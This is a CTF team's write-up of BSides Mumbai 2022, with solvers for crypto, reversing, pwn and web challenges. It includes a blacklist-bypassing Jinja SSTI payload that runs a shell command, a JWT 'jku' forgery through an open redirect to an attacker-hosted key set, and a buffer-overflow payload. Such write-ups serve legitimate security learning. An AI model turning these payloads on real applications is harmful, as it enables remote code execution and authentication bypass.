We played BSides Mumbai CTF 2022 last week and we got the third. This is the write-up on the challenges we solved.
Crypto
Poet Xor
Solved by Mystiz and LifeIsHard
XOR was a famous poet of 1931. Please help him recover his poem. Read his poem and you’ll get your reward in the the last line.
From the description, we can guess that the flag is in the last line. Therefore, the first 9 characters of the last line would be BSMumbai{
.
From the source code, the 8-bytes key wee
is re-used to encrypt the whole message (can see from the part with itertools.cycle
).
wee = token_bytes(8)
cipher = ''
for secret in FLAG:
enc = bytes([ a ^ b for a,b in zip(secret, cycle(wee)) ])
cipher += enc.hex() + '\n'
We can recover the key by XOR("BSMumbai", first 8 bytes in the last line)
, and the recovered key is e3245defe0693bd5
in hex.
Lastly, we can use this key to decrypt the whole message.
from pwn import *
from itertools import cycle
enc_flag = []
for each in open("flag.enc", "rb").read().strip().split(b'\n'):
chg_to_bytes = bytes.fromhex(each.decode())
enc_flag.append(chg_to_bytes)
key = xor(b'BSMumbai', enc_flag[-1][0:8])
for each in enc_flag:
dec = bytes([a^b for a,b in zip(each, cycle(key))])
print(dec.decode())
Message
Two bits meet, each with its own
One zero, one one, they are shown
Together they combine, with a XOR
A new value is formed, never a bore.
BSMumbai{w0w_1t_1s_4_fl4g_1n_th3_3nd}
Big RSA
Solved by fsharp
In this challenge, the keygen
function is vulnerable because d
generated is too small (only 256 bits long).
def keygen(nbit):
p, q = [ getPrime(nbit) for _ in range(2)]
n = p * q
phi = (p-1)*(q-1)
d = getPrime(1 << 8)
e = inverse(d, phi)
key = RSA.construct((n,e,d))
return key
By using Boneh-Durfee’s attack on small private key ($d < n^{0.292}$), we can effectively recover $d$ and thus decrypt the flag.
EggLamal
Solved by TWY
p = 115078219706537820316093419550008778668298868969654363080518222102779290700853879865170620916229166052063746242902440779410550578694707144210633296690382432644415742679112077458888533507037390392699530015820685944880948493006250673913564751534741449674725051026956477952614364976390284943915858542458481633021
A = 48890218165207275384445272760319358494993711787764906344148899636830485571816493761890964821064860895870242607424457731879309015681135499755293950202646357931855881875967656082276910385046805408731969845166675695997431519571773494534682366571816880592306777375053888105629800076931253497892185033268394556781
B = 115078219706537820316093419550008778668298868969654363080518222102779290700853879865170620916229166052063746242902440779410550578694707144210633296690382432644415742679112077458888533507037390392699530015820685944880948493006250673913564751534741449674725051026956477952614364976390284943915858542458481633020
c = 115078219706537820316093419550008778668298868969654363080518222102779290700853879865170620916229166052063746242902440779410550578694707144210633296690382432644415742679112077458888533507037390392699530015820685944327549289896366601363210341233716225794241970836585781027518436156355332169658951220307457142144
In this challenge, we are given $p$, $A := g^a\ \text{mod}\ p$, $B := g^b\ \text{mod}\ p$. $s$ is computed by $A^b\ \text{mod}\ p$ and we are also given $c := s \cdot m\ \text{mod}\ p$ for message $m$. Notably $B = p-1$.
That would say, $b$ could be $(p-1)/2$. Anyway, this would either make $s = 1$ if $a$ is even or $s = p-1$ otherwise.
Since $c$ is very close to $p$, it is likely that $s = p-1$. Therefore, $m = -c\ \text{mod}\ p$.
Flag: BSMumbai{ElGamal_Publickey_Cryptography}
.
ECCSub
Solved by Mystiz and LifeIsHard
From the source code, every character k
in the flag is encrypted with
hex(ECC_encode(int(os.urandom(8).hex() + hex(k)[2:], 16)))
- adding 8 random bytes at the front of the character (hex value, in string format)
- convert it to integer (in base 16)
- pass the integer to the
ECC_encode
function - convert the returning integer to hex string
def ECC_encode(x):
y2 = (x**3 + a*x + b) % p
return y2
We need to solve the modular function (p
, a
, b
are given, need to find x
), which can be solved with sage:
C = open('flag.enc', 'r').read().strip()
C = [int(char, base=16) for char in eval(C)]
for each in C:
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
P.<x> = PolynomialRing(GF(p))
p = x^3 + a*x + b - each
n = p.roots()[-1][0]
print(chr(int(hex(n)[-2:],base=16)),end='')
Flag: BSMumbai{Substitution_Cipher_With_Elliptic_Curves?}
.
ASD-SEA
Solved by Mystiz and fsharp
The signing algorithm defined for DSA is insecure, in the sense of the random has only two bytes of unknowns.
def sign(msg):
h = SHA.new(msg).digest()
n = bytes_to_long(h + os.urandom(2))
assert 1 < n < key.q-1
r = pow(key.g,n,key.p) % key.q
s = inverse(n, key.q)*(bytes_to_long(h) + key.x*r) % key.q
return s, r
In that way, we can brute force for $n$ using $r$ and retrieve the correct $n$. Afterwards, we can use $s$ to obtain the secret key $x$:
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from Crypto.Cipher import AES
from Crypto.Hash import SHA
s = 14183199055240594428827443533180344323710704440445050743687023631136
r = 5334730754297077906351686352081826499252324846119218024815564201902
ct = long_to_bytes(0x5bfb9c359d2986411837be748915ae0f5a4d5646b2740b8c4b712399a984dd60475dc1b72efb703bee0f87c256cde05e)
key = DSA.import_key(open("pubkey.pem", "rb").read())
m = open("msg.txt", "rb").read()
h = SHA.new(m).digest()
for i in range(2**16):
n = bytes_to_long(h + i.to_bytes(2, "big"))
if pow(key.g, n, key.p) % key.q == r:
break
x = ((s * n - bytes_to_long(h)) * inverse(r, key.q)) % key.q
aes_key = pad(long_to_bytes(x), 16)
cipher = AES.new(aes_key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag) # BSMumbai{DSA_msg_related_nonce_problem}
Misc
Boot2Root - 1
Solved by Kaiziron
https://github.com/Kaiziron/bsides_mumbai_ctf_2022/blob/main/boot2root1.md
Boot2Root - 2
Solved by Kaiziron
https://github.com/Kaiziron/bsides_mumbai_ctf_2022/blob/main/boot2root2.md
Pwn
warmup
Solved by cire meat pop
Obviously, vuln
is vulnerable to buffer overflow attack. However, since win
function stores the 1st and 2nd arguments on stack and compare if they are equal to some constant, we can’t directly call win
to get flag. To bypass this, we overwrite the return address of vuln
to call win+22
such that it only compares the constant with the values on stack which depends on rbp
, and the value of rbp
can be controlled via buffer overflow attack.
Solve
- Send random words to get the stack address
- Calculate the address for storing user input by minus a fix offset
- Crafting the payload:
p64(user_input+0x20) + b'\xba\x00\xb0\x00\xbe\xba\xcc\x5e' + b'\x00'*0x10 + p64(user_input) + b'\x8e'
- Send the payload to trigger buffer overflow
- capture flag on screen
Web
Useless Forum
Solved by Ja5on
- Found admin user from the 2 initial posts
- Saw graphql query, use GraphQLmap to dump schema
- there are “getUser” and “getUserV2” mutations, the webapp use “getUserV2” only. Try to use “getUser” mutation to get Admin info and compare the two responses, identified a hidden post with postID “85a270fb-3520-452b-9532-dc198cea99bc”
- The type comment contain the type post, use mutation “makeComment” to make comment on the hidden post, and request for the post content to get the flag:
{"query":"mutation{\n \t\tmakeComment(token:\"TOKEN\",text:\"abc\",postID:\"85a270fb-3520-452b-9532-dc198cea99bc\"){\n \t\t\tcommentID\n text\npost{content}\n \t\t\t}\n\t\t}"}
Complaint Box
Solved by Ja5on
- random fill in the form, got error message “Does email really need those?, anyway here are the blaclisted keywords ['{{', ‘}}’, ‘.’, ‘_’, ‘0’, ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’]”
- python server + blacklisted keywords ‘{{’, ‘}}’ -> SSTI in email field
- use {% %} bypass the ‘{{’, ‘}}’ filter, payload
{% print(config) %}
work - use |attr to bypass “.”, use request.values for string subsitution. Final payload :
name=ab&xx=__class__&xy=__base__&xz=__subclasses__&yy=__getitem__&yz=84&zz=load_module&email={%set+a=request["values"]["xx"]%}{%set+b=request["values"]["xy"]%}{%set+c=request["values"]["xz"]%}{%set+d=request["values"]["yy"]%}{%set+e=request["values"]["yz"]%}{%set+f=request["values"]["zz"]%}{%print([]|attr(a)|attr(b)|attr(c)()|attr(d)(e|int)|attr(f)("os")|attr("popen")("cat+flag*")|attr("read")())%}&subject=ab&message=ab
Bongo Cat
Solved by Hollow
- Check cookie, find JWT.
- Seeing “jku” in header -> You can specify the issuer yourself.
- Noting that the issuer must be from the same host, look for open redirect in the website.
- There is a endpoint
/?redirect_uri=/dashbord
. Asserting that it can redirect to external resources. - Craft RSA keypair with
openssl genrsa -out priv.pem 2048
andopenssl rsa -pubout -in priv.pem -out pub.pem
- Dump
n
ande
from the private key with RsaCtfToolpython3 RsaCtfTool.py --key priv.pem --dump
- Convert
n
ande
into base64-encoded standard with the following code: (Credit: Mystiz)
import base64
n =
e =
n = int.to_bytes(n, (n.bit_length()+7)//8, 'big')
e = int.to_bytes(e, (e.bit_length()+7)//8, 'big')
print(base64.urlsafe_b64encode(n))
print(base64.urlsafe_b64encode(e))
- Create a file named
jwks.json
and host it on your server.
{"kty":"RSA","e":"","use":"sig","alg":"RS256","n":""}
- Sign the JWT with data
{"user":"admin"}
and submit the cookie.
import jwt
import requests
private_key = open("priv.pem").read().strip()
public_key = open("pub.pem").read().strip()
encoded = jwt.encode({"user":"admin"},private_key,algorithm="RS256",
headers={"alg":"RS256","typ":"JWT","jku":"http://34.133.45.223/?redirect_uri=https://asdfasdf/jwks.json"
})
r = requests.get("http://34.133.45.223/dashboard", headers={"Cookie":f"token={encoded}"})
print(r.text)
P.S. Thanks for the work that Mystiz has checked that n
is secure and is not vulnerable to common factorization attacks.
Reverse
Warmup
Solved by fsharp
The file is the emitted LLVM IR of a C program for checking a password. The program could be summarized as follows:
#include <stdio.h>
#include <stdlib.h>
int main()
{
char password[100];
printf("Enter a string: ");
scanf("%s", &password);
if (strlen(password) != 39)
exit(0);
if ((int)password[28] == 55 && (int)password[30] == 110 && ... && (int)password[20] == 110)
printf("The flag is correct!\n");
else
printf("The flag is incorrect.\n");
return 0;
}
Save every line from the start of label 10 (10: ... ; preds = %0
) to the blank line after the end of label 200 into a file called lines.txt
. Then, run the following script to construct the flag:
with open("lines.txt", 'r') as f:
lines = f.read().splitlines()
flag_tuples = []
for i in range(0, len(lines), 7):
second_line = lines[i + 1]
chr_pos = int(second_line[second_line.rindex(' ') + 1:])
fifth_line = lines[i + 4]
chr_val = int(fifth_line[fifth_line.rindex(' ') + 1:])
flag_tuples.append((chr_pos, chr_val))
flag = ""
for (pos, val) in sorted(flag_tuples):
flag += chr(val)
print(flag)
The flag is BSM{1_f0und_my531f_1n_4_f10471n9_h0u53}
.
onionkopon
Solved by Mystiz and fsharp
We have a small C program that checks if the password length is a multiple of 8, then encodes each 8-byte block of the password. If these blocks all match 40 given bytes, the password’s correct.
The program logic is summarized as follows:
def rol(u, n):
return ((u<<n) | (u>>(16-n))) & 0xffff
def process_block(pw_block):
pw = [int.from_bytes(pw_block[i:i+2], 'little') for i in range(0, 8, 2)]
xor_buffer = [0xDEAD, 0xBEEF, 0xCAFE, 0xBABE]
for _ in range(16):
for i in range(4):
pw[(i+1) % 4] = ((pw[i] ^ xor_buffer[i]) + pw[(i+1) % 4]) & 0xffff
pw[(i+1) % 4] = rol(pw[(i+1) % 4], 12)
return b''.join([int.to_bytes(p, 2, 'little') for p in pw])
correct_pw = b"..."
encoded = b""
assert len(correct_pw) % 8 == 0
for i in range(0, 40, 8):
encoded += process_block(correct_pw[i : i + 8])
assert encoded == bytes.fromhex("100baacdddd46faa1c0fe0abcbf8fc45e607ac4bedcd1cef29c73102bb971afd6a34a94c7a90ab5c")
We write a function to invert the operations done onto each encoded block to find the flag:
def rol(u, n):
return ((u<<n) | (u>>(16-n))) & 0xffff
def inverse_process_block(pw_block):
pw = [int.from_bytes(pw_block[i:i+2], 'little') for i in range(0, 8, 2)]
xor_buffer = [0xDEAD, 0xBEEF, 0xCAFE, 0xBABE]
for _ in range(16):
for i in [3, 2, 1, 0]:
pw[(i+1) % 4] = rol(pw[(i+1) % 4], 4)
pw[(i+1) % 4] = (pw[(i+1) % 4] - (pw[i] ^ xor_buffer[i])) & 0xffff
return b''.join([int.to_bytes(p, 2, 'little') for p in pw]).decode()
encoded = bytes.fromhex("100baacdddd46faa1c0fe0abcbf8fc45e607ac4bedcd1cef29c73102bb971afd6a34a94c7a90ab5c")
flag = ""
for i in range(0, len(encoded), 8):
flag += inverse_process_block(encoded[i : i + 8])
print(f"BSM{{{flag}}}")
The flag is BSM{__4dv32517y_15_7h3_f1257_p47h_70_72u7h__}
.
The Last One
Solved by TWY, grhkm and fsharp
The file is a PYC file from Python 3.11. To the best of our knowledge, the current programs that offer functionality for disassembling PYC files or turning them into an equivalent Python script (e.g. decompyle3
, uncompyle6
, pycdc
, pydumpck
) do not yet support this version of Python, which was only released around 45 days before the CTF started. So, we instead chose to disassemble the file using Python 3.11.0 directly:
import marshal, dis
f = open("rev5", "rb")
_ = f.seek(16)
code = marshal.load(f)
f.close()
print(dis.dis(code))
print(dis.show_code(code))
After reading through the disassembly, the program logic is basically:
import sys
ror = lambda val, r_bits, max_bits: ((val & (2 ** max_bits - 1)) >> (r_bits % max_bits)) | ((val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1)))
qq = (498447548, 3732380986, 1488213715, 2972884408, 3671789619, 1370551614, 1547410907, 3107329395, 299046427, 2038167384, 974344249, 1531985406, 2620489075, 301338675, 1367072094, 1010523443, 1364594739, 1362851550, 3157990840, 3671465363, 4054904883, 1369151198, 3158031800, 3671465299, 833682835, 4049313075, 1369141299, 1362867902, 3694861656, 985013651, 4048590195, 295403003, 2575023507, 4059258195, 832296243, 1364966747, 960197747)
def check2(r):
r1 = (r & 255) ^ 254
r2 = ((r >> 8) & 255) ^ 186
r3 = ((r >> 16) & 255) ^ 202
r4 = ((r >> 24) & 255) ^ 190
return (r4 << 24) | (r3 << 16) | (r2 << 8) | r1
def check(s):
l = []
for i in range(len(s) - 3):
r = int.from_bytes(s[i:i + 4], 'little') ^ 3735928559
n = check2(r)
l.append(ror(r, 19, 32))
return l
str = input('Enter a string: ').encode()
if len(str) != 40:
sys.exit()
m = check(str)
for i, j in zip(m, qq):
if i != j:
print('dasnot it mofo')
sys.exit()
print('GGWP bro')
We wrote the following program to get the flag:
ror = lambda val, r_bits, max_bits: ((val & (2 ** max_bits - 1)) >> (r_bits % max_bits)) | ((val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1)))
qq = (498447548, 3732380986, 1488213715, 2972884408, 3671789619, 1370551614, 1547410907, 3107329395, 299046427, 2038167384, 974344249, 1531985406, 2620489075, 301338675, 1367072094, 1010523443, 1364594739, 1362851550, 3157990840, 3671465363, 4054904883, 1369151198, 3158031800, 3671465299, 833682835, 4049313075, 1369141299, 1362867902, 3694861656, 985013651, 4048590195, 295403003, 2575023507, 4059258195, 832296243, 1364966747, 960197747)
def check2(r):
r1 = (r & 255) ^ 254
r2 = ((r >> 8) & 255) ^ 186
r3 = ((r >> 16) & 255) ^ 202
r4 = ((r >> 24) & 255) ^ 190
return (r4 << 24) | (r3 << 16) | (r2 << 8) | r1
def check_rev(r):
return bytes.fromhex(hex(ror(r, 32 - 19, 32) ^ 3735928559)[2:].zfill(8))[::-1]
qq_rev = [check_rev(x) for x in qq]
print((b"".join([a[0:1] for a in qq_rev[:-1]]) + qq_rev[-1]).decode())
The flag is BSM{7h3_w0und_15_47_h32_h3427_k42u124w4}
.
Piano
Solved by fsharp
We’re given a Rust binary that checks if the entered password is 65 characters long, then subjects each character in the password to a series of bit shifts and XORs. The password’s correct if these characters all match 65 given bytes. Given how safe Rust is by default, only a very small portion of the disassembled program is relevant, and the rest is mostly for dealing with errors like integer overflows.
The program logic is roughly as follows in Python:
import sys
pw = bytearray(input("Enter something:\n").encode())
encoded = bytes.fromhex("66cf77b25360f45e8ba8426aa77217d7fce8f2c4e427120ccf5d857a68d7b5c8570f59588d14896abea468dbf3d0a00fe03b8ba9ca8ddebd138338e0624ff8109a")
if len(pw) != 65:
print("Hmmm...")
sys.exit()
for i in range(len(pw)):
c = pw[i]
shift_amount = i % 7
if (i % 2) == 0:
shifted = ((c >> shift_amount) | (c << (8 - shift_amount))) % 256
shifted ^= 0x24
else:
shifted = ((c << shift_amount) | (c >> (8 - shift_amount))) % 256
shifted ^= 0x69
pw[i] = shifted
if pw == encoded:
print("Good Job ^^")
Rather than going through the tedium of undoing the XORs and bit shifts, a small Python program is written to bruteforce each character as follows:
encoded = bytes.fromhex("66cf77b25360f45e8ba8426aa77217d7fce8f2c4e427120ccf5d857a68d7b5c8570f59588d14896abea468dbf3d0a00fe03b8ba9ca8ddebd138338e0624ff8109a")
flag = ""
for i in range(len(encoded)):
for c in range(32, 127):
shift_amount = i % 7
if (i % 2) == 0:
shifted = ((c >> shift_amount) | (c << (8 - shift_amount))) % 256
shifted ^= 0x24
else:
shifted = ((c << shift_amount) | (c >> (8 - shift_amount))) % 256
shifted ^= 0x69
if shifted == encoded[i]:
flag += chr(c)
break
print(flag)
The flag is BSM{wH47_p30pl3_c0mm0NlY_C4LL_F473_1S_m0S7LY_7H31R_0wN_S7up1d17y}
.